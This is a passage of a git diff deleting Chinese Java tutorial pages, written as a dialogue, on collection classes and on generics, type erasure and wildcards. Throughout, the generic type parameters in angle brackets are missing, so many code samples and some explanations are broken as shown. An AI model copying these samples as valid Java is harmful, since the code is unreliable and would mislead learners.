initialCapacity, float loadFactor, boolean dummy) { - map = new LinkedHashMap<>(initialCapacity, loadFactor); -} -``` - -看到 [LinkedHashMap](https://javabetter.cn/collection/linkedhashmap.html) 了吧,这个我们后面会去讲。 - -好吧,来看一段 LinkedHashSet 的增删改查吧。 - -```java -LinkedHashSet set = new LinkedHashSet<>(); - -// 添加元素 -set.add("沉默"); -set.add("王二"); -set.add("陈清扬"); - -// 删除元素 -set.remove("王二"); - -// 修改元素 -set.remove("沉默"); -set.add("沉默的力量"); - -// 查找元素 -boolean hasChenQingYang = set.contains("陈清扬"); -System.out.println("set包含陈清扬吗?" + hasChenQingYang); -``` - -在以上代码中,我们首先创建了一个 LinkedHashSet 对象,然后使用 add 方法依次添加了三个元素:沉默、王二和陈清扬。接着,我们使用 remove 方法删除了王二这个元素,并使用 remove 和 add 方法修改了沉默这个元素。最后,我们使用 contains 方法查找了陈清扬这个元素是否存在于 set 中,并打印了结果。 - -LinkedHashSet 是一种基于哈希表实现的 Set 接口,它继承自 HashSet,并且使用链表维护了元素的插入顺序。因此,它既具有 HashSet 的快速查找、插入和删除操作的优点,又可以维护元素的插入顺序。 - -#### 3)TreeSet - -“二哥,不用你讲了,我能猜到,TreeSet 是由 [TreeMap(后面会讲)](https://javabetter.cn/collection/treemap.html) 实现的,只不过同样操作的键位,值由一个固定的 Object 对象填充。” - -哇,三妹都学会了推理。 - -是的,与 TreeMap 相似,TreeSet 是一种基于红黑树实现的有序集合,它实现了 SortedSet 接口,可以自动对集合中的元素进行排序。按照键的自然顺序或指定的比较器顺序进行排序。 - -```java -// 创建一个 TreeSet 对象 -TreeSet set = new TreeSet<>(); - -// 添加元素 -set.add("沉默"); -set.add("王二"); -set.add("陈清扬"); -System.out.println(set); // 输出 [沉默, 王二, 陈清扬] - -// 删除元素 -set.remove("王二"); -System.out.println(set); // 输出 [沉默, 陈清扬] - -// 修改元素:TreeSet 中的元素不支持直接修改,需要先删除再添加 -set.remove("陈清扬"); -set.add("陈青阳"); -System.out.println(set); // 输出 [沉默, 陈青阳] - -// 查找元素 -System.out.println(set.contains("沉默")); // 输出 true -System.out.println(set.contains("王二")); // 输出 false -``` - -需要注意的是,TreeSet 不允许插入 null 元素,否则会抛出 NullPointerException 异常。 - -“总体上来说,Set 集合不是关注的重点,因为底层都是由 Map 实现的,为什么要用 Map 实现呢?三妹你能猜到原因吗?” - -“让我想想。” - -“嗯?难道是因为 Map 的键不允许重复、无序吗?” - -老天,竟然被三妹猜到了。 - -“是的,你这水平长进了呀,三妹。” - -### 03、Queue - -Queue,也就是队列,通常遵循先进先出(FIFO)的原则,新元素插入到队列的尾部,访问元素返回队列的头部。 - -#### 1)ArrayDeque - -从名字上可以看得出,ArrayDeque 是一个基于数组实现的双端队列,为了满足可以同时在数组两端插入或删除元素的需求,数组必须是循环的,也就是说数组的任何一点都可以被看作是起点或者终点。 - -这是一个包含了 4 个元素的双端队列,和一个包含了 5 个元素的双端队列。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/gailan-02.png) - -head 指向队首的第一个有效的元素,tail 指向队尾第一个可以插入元素的空位,因为是循环数组,所以 head 不一定从是从 0 开始,tail 也不一定总是比 head 大。 - -来一段 ArrayDeque 的增删改查吧。 - -```java -// 创建一个ArrayDeque -ArrayDeque deque = new ArrayDeque<>(); - -// 添加元素 -deque.add("沉默"); -deque.add("王二"); -deque.add("陈清扬"); - -// 删除元素 -deque.remove("王二"); - -// 修改元素 -deque.remove("沉默"); -deque.add("沉默的力量"); - -// 查找元素 -boolean hasChenQingYang = deque.contains("陈清扬"); -System.out.println("deque包含陈清扬吗?" + hasChenQingYang); -``` - -#### 2)LinkedList - -LinkedList 一般应该归在 List 下,只不过,它也实现了 Deque 接口,可以作为队列来使用。等于说,LinkedList 同时实现了 Stack、Queue、PriorityQueue 的所有功能。 - -```java -public class LinkedList - extends AbstractSequentialList - implements List, Deque, Cloneable, java.io.Serializable -{} -``` - -换句话说,LinkedList 和 ArrayDeque 都是 Java 集合框架中的双向队列(deque),它们都支持在队列的两端进行元素的插入和删除操作。不过,LinkedList 和 ArrayDeque 在实现上有一些不同: - -- 底层实现方式不同:LinkedList 是基于链表实现的,而 ArrayDeque 是基于数组实现的。 -- 随机访问的效率不同:由于底层实现方式的不同,LinkedList 对于随机访问的效率较低,时间复杂度为 O(n),而 ArrayDeque 可以通过下标随机访问元素,时间复杂度为 O(1)。 -- 迭代器的效率不同:LinkedList 对于迭代器的效率比较低,因为需要通过链表进行遍历,时间复杂度为 O(n),而 ArrayDeque 的迭代器效率比较高,因为可以直接访问数组中的元素,时间复杂度为 O(1)。 -- 内存占用不同:由于 LinkedList 是基于链表实现的,它在存储元素时需要额外的空间来存储链表节点,因此内存占用相对较高,而 ArrayDeque 是基于数组实现的,内存占用相对较低。 - -因此,在选择使用 LinkedList 还是 ArrayDeque 时,需要根据具体的业务场景和需求来选择。如果需要在双向队列的两端进行频繁的插入和删除操作,并且需要随机访问元素,可以考虑使用 ArrayDeque;如果需要在队列中间进行频繁的插入和删除操作,可以考虑使用 LinkedList。 - -来一段 LinkedList 作为队列时候的增删改查吧,注意和它作为 List 的时候有很大的不同。 - -```java -// 创建一个 LinkedList 对象 -LinkedList queue = new LinkedList<>(); - -// 添加元素 -queue.offer("沉默"); -queue.offer("王二"); -queue.offer("陈清扬"); -System.out.println(queue); // 输出 [沉默, 王二, 陈清扬] - -// 删除元素 -queue.poll(); -System.out.println(queue); // 输出 [王二, 陈清扬] - -// 修改元素:LinkedList 中的元素不支持直接修改,需要先删除再添加 -String first = queue.poll(); -queue.offer("王大二"); -System.out.println(queue); // 输出 [陈清扬, 王大二] - -// 查找元素:LinkedList 中的元素可以使用 get() 方法进行查找 -System.out.println(queue.get(0)); // 输出 陈清扬 -System.out.println(queue.contains("沉默")); // 输出 false - -// 查找元素:使用迭代器的方式查找陈清扬 -// 使用迭代器依次遍历元素并查找 -Iterator iterator = queue.iterator(); -while (iterator.hasNext()) { - String element = iterator.next(); - if (element.equals("陈清扬")) { - System.out.println("找到了:" + element); - break; - } -} -``` - -在使用 LinkedList 作为队列时,可以使用 offer() 方法将元素添加到队列的末尾,使用 poll() 方法从队列的头部删除元素。另外,由于 LinkedList 是链表结构,不支持随机访问元素,因此不能使用下标访问元素,需要使用迭代器或者 poll() 方法依次遍历元素。 - -#### 3)PriorityQueue - -PriorityQueue 是一种优先级队列,它的出队顺序与元素的优先级有关,执行 remove 或者 poll 方法,返回的总是优先级最高的元素。 - -```java -// 创建一个 PriorityQueue 对象 -PriorityQueue queue = new PriorityQueue<>(); - -// 添加元素 -queue.offer("沉默"); -queue.offer("王二"); -queue.offer("陈清扬"); -System.out.println(queue); // 输出 [沉默, 王二, 陈清扬] - -// 删除元素 -queue.poll(); -System.out.println(queue); // 输出 [王二, 陈清扬] - -// 修改元素:PriorityQueue 不支持直接修改元素,需要先删除再添加 -String first = queue.poll(); -queue.offer("张三"); -System.out.println(queue); // 输出 [张三, 陈清扬] - -// 查找元素:PriorityQueue 不支持随机访问元素,只能访问队首元素 -System.out.println(queue.peek()); // 输出 张三 -System.out.println(queue.contains("陈清扬")); // 输出 true - -// 通过 for 循环的方式查找陈清扬 -for (String element : queue) { - if (element.equals("陈清扬")) { - System.out.println("找到了:" + element); - break; - } -} -``` - -要想有优先级,元素就需要实现 [Comparable 接口或者 Comparator 接口](https://javabetter.cn/basic-extra-meal/comparable-omparator.html)(我们后面会讲)。 - -这里先来一段通过实现 Comparator 接口按照年龄姓名排序的优先级队列吧。 - -```java -import java.util.Comparator; -import java.util.PriorityQueue; - -class Student { - private String name; - private int chineseScore; - private int mathScore; - - public Student(String name, int chineseScore, int mathScore) { - this.name = name; - this.chineseScore = chineseScore; - this.mathScore = mathScore; - } - - public String getName() { - return name; - } - - public int getChineseScore() { - return chineseScore; - } - - public int getMathScore() { - return mathScore; - } - - @Override - public String toString() { - return "Student{" + - "name='" + name + '\'' + - ", 总成绩=" + (chineseScore + mathScore) + - '}'; - } -} - -class StudentComparator implements Comparator { - @Override - public int compare(Student s1, Student s2) { - // 比较总成绩 - return Integer.compare(s2.getChineseScore() + s2.getMathScore(), - s1.getChineseScore() + s1.getMathScore()); - } -} - -public class PriorityQueueComparatorExample { - - public static void main(String[] args) { - // 创建一个按照总成绩排序的优先级队列 - PriorityQueue queue = new PriorityQueue<>(new StudentComparator()); - - // 添加元素 - queue.offer(new Student("王二", 80, 90)); - System.out.println(queue); - queue.offer(new Student("陈清扬", 95, 95)); - System.out.println(queue); - queue.offer(new Student("小驼铃", 90, 95)); - System.out.println(queue); - queue.offer(new Student("沉默", 90, 80)); - while (!queue.isEmpty()) { - System.out.print(queue.poll() + " "); - } - } -} -``` - -Student 是一个学生对象,包含姓名、语文成绩和数学成绩。 - -StudentComparator 实现了 Comparator 接口,对总成绩做了一个排序。 - -PriorityQueue 是一个优先级队列,参数为 StudentComparator,然后我们添加了 4 个学生对象进去。 - -来看一下输出结果: - -``` -[Student{name='王二', 总成绩=170}] -[Student{name='陈清扬', 总成绩=190}, Student{name='王二', 总成绩=170}] -[Student{name='陈清扬', 总成绩=190}, Student{name='王二', 总成绩=170}, Student{name='小驼铃', 总成绩=185}] -Student{name='陈清扬', 总成绩=190} Student{name='小驼铃', 总成绩=185} Student{name='沉默', 总成绩=170} Student{name='王二', 总成绩=170} -``` - -我们使用 offer 方法添加元素,最后用 while 循环遍历元素(通过 poll 方法取出元素),从结果可以看得出,[PriorityQueue](https://javabetter.cn/collection/PriorityQueue.html)按照学生的总成绩由高到低进行了排序。 - -### 04、Map - -Map 保存的是键值对,键要求保持唯一性,值可以重复。 - -#### 1)HashMap - -HashMap 实现了 Map 接口,可以根据键快速地查找对应的值——通过哈希函数将键映射到哈希表中的一个索引位置,从而实现快速访问。[后面会详细聊到](https://javabetter.cn/collection/hashmap.html)。 - -这里先大致了解一下 HashMap 的特点: - -- HashMap 中的键和值都可以为 null。如果键为 null,则将该键映射到哈希表的第一个位置。 -- 可以使用迭代器或者 forEach 方法遍历 HashMap 中的键值对。 -- HashMap 有一个初始容量和一个负载因子。初始容量是指哈希表的初始大小,负载因子是指哈希表在扩容之前可以存储的键值对数量与哈希表大小的比率。默认的初始容量是 16,负载因子是 0.75。 - -来个简单的增删改查吧。 - -```java -// 创建一个 HashMap 对象 -HashMap hashMap = new HashMap<>(); - -// 添加键值对 -hashMap.put("沉默", "cenzhong"); -hashMap.put("王二", "wanger"); -hashMap.put("陈清扬", "chenqingyang"); - -// 获取指定键的值 -String value1 = hashMap.get("沉默"); -System.out.println("沉默对应的值为:" + value1); - -// 修改键对应的值 -hashMap.put("沉默", "chenmo"); -String value2 = hashMap.get("沉默"); -System.out.println("修改后沉默对应的值为:" + value2); - -// 删除指定键的键值对 -hashMap.remove("王二"); - -// 遍历 HashMap -for (String key : hashMap.keySet()) { - String value = hashMap.get(key); - System.out.println(key + " 对应的值为:" + value); -} -``` - -#### 2)LinkedHashMap - -HashMap 已经非常强大了,但它是无序的。如果我们需要一个有序的 Map,就要用到 [LinkedHashMap](https://javabetter.cn/collection/linkedhashmap.html)。LinkedHashMap 是 HashMap 的子类,它使用链表来记录插入/访问元素的顺序。 - -LinkedHashMap 可以看作是 HashMap + LinkedList 的合体,它使用了哈希表来存储数据,又用了双向链表来维持顺序。 - -来一个简单的例子。 - -```java -// 创建一个 LinkedHashMap,插入的键值对为 沉默 王二 陈清扬 -LinkedHashMap linkedHashMap = new LinkedHashMap<>(); -linkedHashMap.put("沉默", "cenzhong"); -linkedHashMap.put("王二", "wanger"); -linkedHashMap.put("陈清扬", "chenqingyang"); - -// 遍历 LinkedHashMap -for (String key : linkedHashMap.keySet()) { - String value = linkedHashMap.get(key); - System.out.println(key + " 对应的值为:" + value); -} -``` - -来看输出结果: - -``` -沉默 对应的值为:cenzhong -王二 对应的值为:wanger -陈清扬 对应的值为:chenqingyang -``` - -从结果中可以看得出来,LinkedHashMap 维持了键值对的插入顺序,对吧?为了和 LinkedHashMap 做对比,我们用同样的数据试验一下 HashMap。 - -```java -// 创建一个HashMap,插入的键值对为 沉默 王二 陈清扬 -HashMap hashMap = new HashMap<>(); -hashMap.put("沉默", "cenzhong"); -hashMap.put("王二", "wanger"); -hashMap.put("陈清扬", "chenqingyang"); - -// 遍历 HashMap -for (String key : hashMap.keySet()) { - String value = hashMap.get(key); - System.out.println(key + " 对应的值为:" + value); -} -``` - -来看输出结果: - -``` -沉默 对应的值为:cenzhong -陈清扬 对应的值为:chenqingyang -王二 对应的值为:wanger -``` - -HashMap 没有维持键值对的插入顺序,对吧? - -#### 3)TreeMap - -[TreeMap](https://javabetter.cn/collection/treemap.html) 实现了 SortedMap 接口,可以自动将键按照自然顺序或指定的比较器顺序排序,并保证其元素的顺序。内部使用红黑树来实现键的排序和查找。 - -同样来一个增删改查的 demo: - -```java -// 创建一个 TreeMap 对象 -Map treeMap = new TreeMap<>(); - -// 向 TreeMap 中添加键值对 -treeMap.put("沉默", "cenzhong"); -treeMap.put("王二", "wanger"); -treeMap.put("陈清扬", "chenqingyang"); - -// 查找键值对 -String name = "沉默"; -if (treeMap.containsKey(name)) { - System.out.println("找到了 " + name + ": " + treeMap.get(name)); -} else { - System.out.println("没有找到 " + name); -} - -// 修改键值对 -name = "王二"; -if (treeMap.containsKey(name)) { - System.out.println("修改前的 " + name + ": " + treeMap.get(name)); - treeMap.put(name, "newWanger"); - System.out.println("修改后的 " + name + ": " + treeMap.get(name)); -} else { - System.out.println("没有找到 " + name); -} - -// 删除键值对 -name = "陈清扬"; -if (treeMap.containsKey(name)) { - System.out.println("删除前的 " + name + ": " + treeMap.get(name)); - treeMap.remove(name); - System.out.println("删除后的 " + name + ": " + treeMap.get(name)); -} else { - System.out.println("没有找到 " + name); -} - -// 遍历 TreeMap -for (Map.Entry entry : treeMap.entrySet()) { - System.out.println(entry.getKey() + ": " + entry.getValue()); -} -``` - -与 HashMap 不同的是,TreeMap 会按照键的顺序来进行排序。 - -```java -// 创建一个 TreeMap 对象 -Map treeMap = new TreeMap<>(); - -// 向 TreeMap 中添加键值对 -treeMap.put("c", "cat"); -treeMap.put("a", "apple"); -treeMap.put("b", "banana"); - -// 遍历 TreeMap -for (Map.Entry entry : treeMap.entrySet()) { - System.out.println(entry.getKey() + ": " + entry.getValue()); -} -``` - -来看输出结果: - -``` -a: apple -b: banana -c: cat -``` - -默认情况下,已经按照键的自然顺序排过了。 - -“好了,三妹,关于集合框架,我们就先聊到这,随后我们会针对常用的容器进行详细地讲解,比如说 ArrayList、LinkedList、HashMap 等。” - -“哇,二哥,这篇讲的东西可真不少,虽然都是比较基础的,但对于我一个小白来说,还是需要花点时间去消化的。”三妹嘟嘟嘴说到。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/collection/generic.md b/docs/src/collection/generic.md deleted file mode 100644 index 4bec219452..0000000000 --- a/docs/src/collection/generic.md +++ /dev/null @@ -1,621 +0,0 @@ ---- -title: 手写Java泛型,彻底掌握它! -shortTitle: 深入解析Java泛型 -category: - - Java核心 -tag: - - Java重要知识点 -description: 本文详细讲解了 Java 泛型的概念、原理及应用技巧,为您展示了如何通过泛型提高代码的可重用性、类型安全和可读性。学习本文将帮助您更好地掌握 Java 泛型编程,提高编程效率与质量。 -head: - - - meta - - name: keywords - content: java,泛型,java 泛型,java generic ---- - -“二哥,为什么要设计泛型啊?”三妹开门见山地问。 - -“三妹啊,听哥慢慢给你讲啊。”我说。 - -Java 在 1.5 时增加了泛型机制,据说专家们为此花费了 5 年左右的时间(听起来是相当不容易)。有了泛型之后,尤其是对集合类的使用,就变得更规范了。 - -看下面这段简单的代码。 - -```java -ArrayList list = new ArrayList(); -list.add("沉默王二"); -String str = list.get(0); -``` - -“三妹,你能想象到在没有泛型之前该怎么办吗?” - -“嗯,想不到,还是二哥你说吧。” - -嗯,我们可以使用 Object 数组来设计 `Arraylist` 类。 - -```java -class Arraylist { - private Object[] objs; - private int i = 0; - public void add(Object obj) { - objs[i++] = obj; - } - - public Object get(int i) { - return objs[i]; - } -} -``` - -然后,我们向 `Arraylist` 中存取数据。 - -```java -Arraylist list = new Arraylist(); -list.add("沉默王二"); -list.add(new Date()); -String str = (String)list.get(0); -``` - -“三妹,你有没有发现这两个问题?” - -- Arraylist 可以存放任何类型的数据(既可以存字符串,也可以混入日期),因为所有类都继承自 Object 类。 -- 从 Arraylist 取出数据的时候需要强制类型转换,因为编译器并不能确定你取的是字符串还是日期。 - -“嗯嗯,是的呢。”三妹说。 - -对比一下,你就能明显地感受到泛型的优秀之处:使用**类型参数**解决了元素的不确定性——参数类型为 String 的集合中是不允许存放其他类型元素的,取出数据的时候也不需要强制类型转换了。 - -### 动手设计一个泛型 - -“二哥,那怎么才能设计一个泛型呢?” - -“三妹啊,你一个小白只要会用泛型就行了,还想设计泛型啊?!不过,既然你想了解,哥义不容辞。” - -首先,我们来按照泛型的标准重新设计一下 `Arraylist` 类。 - -```java -class Arraylist { - private Object[] elementData; - private int size = 0; - - public Arraylist(int initialCapacity) { - this.elementData = new Object[initialCapacity]; - } - - public boolean add(E e) { - elementData[size++] = e; - return true; - } - - E elementData(int index) { - return (E) elementData[index]; - } -} -``` - -一个泛型类就是具有一个或多个类型变量的类。Arraylist 类引入的类型变量为 E(Element,元素的首字母),使用尖括号 `<>` 括起来,放在类名的后面。 - -然后,我们可以用具体的类型(比如字符串)替换类型变量来实例化泛型类。 - -```java -Arraylist list = new Arraylist(); -list.add("沉默王三"); -String str = list.get(0); -``` - -Date 类型也可以的。 - -```java -Arraylist list = new Arraylist(); -list.add(new Date()); -Date date = list.get(0); -``` - -其次,我们还可以在一个非泛型的类(或者泛型类)中定义泛型方法。 - -```java -class Arraylist { - public T[] toArray(T[] a) { - return (T[]) Arrays.copyOf(elementData, size, a.getClass()); - } -} -``` - -不过,说实话,泛型方法的定义看起来略显晦涩。来一副图吧(注意:方法返回类型和方法参数类型至少需要一个)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/generic/generic-01.png) - -现在,我们来调用一下泛型方法。 - -```java -Arraylist list = new Arraylist<>(4); -list.add("沉"); -list.add("默"); -list.add("王"); -list.add("二"); - -String [] strs = new String [4]; -strs = list.toArray(strs); - -for (String str : strs) { - System.out.println(str); -} -``` - -### 泛型限定符 - -然后,我们再来说说泛型变量的限定符 `extends`。 - -在解释这个限定符之前,我们假设有三个类,它们之间的定义是这样的。 - -```java -class Wanglaoer { - public String toString() { - return "王老二"; - } -} - -class Wanger extends Wanglaoer{ - public String toString() { - return "王二"; - } -} - -class Wangxiaoer extends Wanger{ - public String toString() { - return "王小二"; - } -} -``` - -我们使用限定符 `extends` 来重新设计一下 `Arraylist` 类。 - -```java -class Arraylist { -} -``` - -当我们向 `Arraylist` 中添加 `Wanglaoer` 元素的时候,编译器会提示错误:`Arraylist` 只允许添加 `Wanger` 及其子类 `Wangxiaoer` 对象,不允许添加其父类 `Wanglaoer`。 - -```java -Arraylist list = new Arraylist<>(3); -list.add(new Wanger()); -list.add(new Wanglaoer()); -// The method add(Wanger) in the type Arraylist is not applicable for the arguments -// (Wanglaoer) -list.add(new Wangxiaoer()); -``` - -也就是说,限定符 `extends` 可以缩小泛型的类型范围。 - -### 类型擦除 - -“哦,明白了。”三妹若有所思的点点头,“二哥,听说虚拟机没有泛型?” - -“三妹,你功课做得可以啊。哥可以肯定地回答你,虚拟机是没有泛型的。” - -“怎么确定虚拟机有没有泛型呢?”三妹问。 - -“只要我们把泛型类的字节码进行反编译就看到了!”用反编译工具(我写这篇文章的时候用的是 jad,你也可以用其他的工具)将 class 文件反编译后,我说,“三妹,你看。” - -```java -// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. -// Jad home page: http://www.kpdus.com/jad.html -// Decompiler options: packimports(3) -// Source File Name: Arraylist.java - -package com.cmower.java_demo.fanxing; - -import java.util.Arrays; - -class Arraylist -{ - - public Arraylist(int initialCapacity) - { - size = 0; - elementData = new Object[initialCapacity]; - } - - public boolean add(Object e) - { - elementData[size++] = e; - return true; - } - - Object elementData(int index) - { - return elementData[index]; - } - - private Object elementData[]; - private int size; -} -``` - -类型变量 `` 消失了,取而代之的是 Object ! - -“既然如此,那如果泛型类使用了限定符 `extends`,结果会怎么样呢?”三妹这个问题问的很巧妙。 - -来看这段代码。 - -```java -class Arraylist2 { - private Object[] elementData; - private int size = 0; - - public Arraylist2(int initialCapacity) { - this.elementData = new Object[initialCapacity]; - } - - public boolean add(E e) { - elementData[size++] = e; - return true; - } - - E elementData(int index) { - return (E) elementData[index]; - } -} -``` - -反编译后的结果如下。 - -```java -// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. -// Jad home page: http://www.kpdus.com/jad.html -// Decompiler options: packimports(3) -// Source File Name: Arraylist2.java - -package com.cmower.java_demo.fanxing; - - -// Referenced classes of package com.cmower.java_demo.fanxing: -// Wanger - -class Arraylist2 -{ - - public Arraylist2(int initialCapacity) - { - size = 0; - elementData = new Object[initialCapacity]; - } - - public boolean add(Wanger e) - { - elementData[size++] = e; - return true; - } - - Wanger elementData(int index) - { - return (Wanger)elementData[index]; - } - - private Object elementData[]; - private int size; -} -``` - -“你看,类型变量 `` 不见了,E 被替换成了 `Wanger`”,我说,“通过以上两个例子说明,Java 虚拟机会将泛型的类型变量擦除,并替换为限定类型(没有限定的话,就用 `Object`)” - -“二哥,类型擦除会有什么问题吗?”三妹又问了一个很有水平的问题。 - -“三妹啊,你还别说,类型擦除真的会有一些问题。”我说,“来看一下这段代码。” - -```java -public class Cmower { - - public static void method(Arraylist list) { - System.out.println("Arraylist list"); - } - - public static void method(Arraylist list) { - System.out.println("Arraylist list"); - } - -} -``` - -在浅层的意识上,我们会想当然地认为 `Arraylist list` 和 `Arraylist list` 是两种不同的类型,因为 String 和 Date 是不同的类。 - -但由于类型擦除的原因,以上代码是不会通过编译的——编译器会提示一个错误(这正是类型擦除引发的那些“问题”): - -``` ->Erasure of method method(Arraylist) is the same as another method in type - Cmower -> ->Erasure of method method(Arraylist) is the same as another method in type - Cmower -``` - - -大致的意思就是,这两个方法的参数类型在擦除后是相同的。 - -也就是说,`method(Arraylist list)` 和 `method(Arraylist list)` 是同一种参数类型的方法,不能同时存在。类型变量 `String` 和 `Date` 在擦除后会自动消失,method 方法的实际参数是 `Arraylist list`。 - -有句俗话叫做:“百闻不如一见”,但即使见到了也未必为真——泛型的擦除问题就可以很好地佐证这个观点。 - -### 泛型通配符 - -“哦,明白了。二哥,听说泛型还有通配符?” - -“三妹啊,哥突然觉得你很适合作一枚可爱的程序媛啊!你这预习的功课做得可真到家啊,连通配符都知道!” - -通配符使用英文的问号`(?)`来表示。在我们创建一个泛型对象时,可以使用关键字 `extends` 限定子类,也可以使用关键字 `super` 限定父类。 - -我们来看下面这段代码。 - -```java -// 定义一个泛型类 Arraylist,E 表示元素类型 -class Arraylist { - // 私有成员变量,存储元素数组和元素数量 - private Object[] elementData; - private int size = 0; - - // 构造函数,传入初始容量 initialCapacity,创建一个指定容量的 Object 数组 - public Arraylist(int initialCapacity) { - this.elementData = new Object[initialCapacity]; - } - - // 添加元素到数组末尾,返回添加成功与否 - public boolean add(E e) { - elementData[size++] = e; - return true; - } - - // 获取指定下标的元素 - public E get(int index) { - return (E) elementData[index]; - } - - // 查找指定元素第一次出现的下标,如果找不到则返回 -1 - public int indexOf(Object o) { - if (o == null) { - for (int i = 0; i < size; i++) - if (elementData[i]==null) - return i; - } else { - for (int i = 0; i < size; i++) - if (o.equals(elementData[i])) - return i; - } - return -1; - } - - // 判断指定元素是否在数组中出现 - public boolean contains(Object o) { - return indexOf(o) >= 0; - } - - // 将数组中的元素转化成字符串输出 - public String toString() { - StringBuilder sb = new StringBuilder(); - - for (Object o : elementData) { - if (o != null) { - E e = (E)o; - sb.append(e.toString()); - sb.append(',').append(' '); - } - } - return sb.toString(); - } - - // 返回数组中元素的数量 - public int size() { - return size; - } - - // 修改指定下标的元素,返回修改前的元素 - public E set(int index, E element) { - E oldValue = (E) elementData[index]; - elementData[index] = element; - return oldValue; - } -} -``` - -1)新增 `indexOf(Object o)` 方法,判断元素在 `Arraylist` 中的位置。注意参数为 `Object` 而不是泛型 `E`。 - -2)新增 `contains(Object o)` 方法,判断元素是否在 `Arraylist` 中。注意参数为 `Object` 而不是泛型 `E`。 - -3)新增 `toString()` 方法,方便对 `Arraylist` 进行打印。 - -4)新增 `set(int index, E element)` 方法,方便对 `Arraylist` 元素的更改。 - -因为泛型擦除的原因,`Arraylist list = new Arraylist();` 这样的语句是无法通过编译的,尽管 Wangxiaoer 是 Wanger 的子类。但如果我们确实需要这种 “向上转型” 的关系,该怎么办呢?这时候就需要通配符来发挥作用了。 - -利用 `` 形式的通配符,可以实现泛型的向上转型,来看例子。 - -```java -Arraylist list2 = new Arraylist<>(4); -list2.add(null); -// list2.add(new Wanger()); -// list2.add(new Wangxiaoer()); - -Wanger w2 = list2.get(0); -// Wangxiaoer w3 = list2.get(1); -``` - -list2 的类型是 `Arraylist`,翻译一下就是,list2 是一个 `Arraylist`,其类型是 `Wanger` 及其子类。 - -注意,“关键”来了!list2 并不允许通过 `add(E e)` 方法向其添加 `Wanger` 或者 `Wangxiaoer` 的对象,唯一例外的是 `null`。 - -“那就奇了怪了,既然不让存放元素,那要 `Arraylist` 这样的 list2 有什么用呢?”三妹好奇地问。 - -虽然不能通过 `add(E e)` 方法往 list2 中添加元素,但可以给它赋值。 - -```java -Arraylist list = new Arraylist<>(4); - -Wanger wanger = new Wanger(); -list.add(wanger); - -Wangxiaoer wangxiaoer = new Wangxiaoer(); -list.add(wangxiaoer); - -Arraylist list2 = list; - -Wanger w2 = list2.get(1); -System.out.println(w2); - -System.out.println(list2.indexOf(wanger)); -System.out.println(list2.contains(new Wangxiaoer())); -``` - -`Arraylist list2 = list;` 语句把 list 的值赋予了 list2,此时 `list2 == list`。由于 list2 不允许往其添加其他元素,所以此时它是安全的——我们可以从容地对 list2 进行 `get()`、`indexOf()` 和 `contains()`。想一想,如果可以向 list2 添加元素的话,这 3 个方法反而变得不太安全,它们的值可能就会变。 - -利用 `` 形式的通配符,可以向 Arraylist 中存入父类是 `Wanger` 的元素,来看例子。 - -```java -Arraylist list3 = new Arraylist<>(4); -list3.add(new Wanger()); -list3.add(new Wangxiaoer()); - -// Wanger w3 = list3.get(0); -``` - -需要注意的是,无法从 `Arraylist` 这样类型的 list3 中取出数据。 - -### 小结 - -好了,三妹,关于泛型,我们再来做一个简单的总结。 - -在 Java 中,泛型是一种强类型约束机制,可以在编译期间检查类型安全性,并且可以提高代码的复用性和可读性。 - -#### 1)类型参数化 - -泛型的本质是参数化类型,也就是说,在定义类、接口或方法时,可以使用一个或多个类型参数来表示参数化类型。 - -例如这样可以定义一个泛型类。 - -```java -public class Box { - private T value; - - public Box(T value) { - this.value = value; - } - - public T getValue() { - return value; - } - - public void setValue(T value) { - this.value = value; - } -} -``` - -在这个例子中,`` 表示类型参数,可以在类中任何需要使用类型的地方使用 T 代替具体的类型。通过使用泛型,我们可以创建一个可以存储任何类型对象的盒子。 - -```java -Box intBox = new Box<>(123); -Box strBox = new Box<>("Hello, world!"); -``` - -泛型在实际开发中的应用非常广泛,例如集合框架中的 List、Set、Map 等容器类,以及并发框架中的 Future、Callable 等工具类都使用了泛型。 - -#### 2)类型擦除 - -在 Java 的泛型机制中,有两个重要的概念:类型擦除和通配符。 - -泛型在编译时会将泛型类型擦除,将泛型类型替换成 Object 类型。这是为了向后兼容,避免对原有的 Java 代码造成影响。 - -例如,对于下面的代码: - -```java -List intList = new ArrayList<>(); -intList.add(123); -int value = intList.get(0); -``` - -在编译时,Java 编译器会将泛型类型 `List` 替换成 `List`,将 get 方法的返回值类型 Integer 替换成 Object,生成的字节码与下面的代码等价: - -```java -List intList = new ArrayList(); -intList.add(Integer.valueOf(123)); -int value = (Integer) intList.get(0); -``` - -Java 泛型只在编译时起作用,运行时并不会保留泛型类型信息。 - -#### 3)通配符 - -通配符用于表示某种未知的类型,例如 `List` 表示一个可以存储任何类型对象的 List,但是不能对其中的元素进行添加操作。通配符可以用来解决类型不确定的情况,例如在方法参数或返回值中使用。 - -使用通配符可以使方法更加通用,同时保证类型安全。 - -例如,定义一个泛型方法: - -```java -public static void printList(List list) { - for (Object obj : list) { - System.out.print(obj + " "); - } - System.out.println(); -} -``` - -这个方法可以接受任意类型的 List,例如 `List`、`List` 等等。 - -##### 上限通配符 - -泛型还提供了上限通配符 ``,表示通配符只能接受 T 或 T 的子类。使用上限通配符可以提高程序的类型安全性。 - -例如,定义一个方法,只接受 Number 及其子类的 List: - -```java -public static void printNumberList(List list) { - for (Number num : list) { - System.out.print(num + " "); - } - System.out.println(); -} -``` - -这个方法可以接受 `List`、`List` 等等。 - -##### 下限通配符 - -下限通配符(Lower Bounded Wildcards)用 super 关键字来声明,其语法形式为 ``,其中 T 表示类型参数。它表示的是该类型参数必须是某个指定类的超类(包括该类本身)。 - 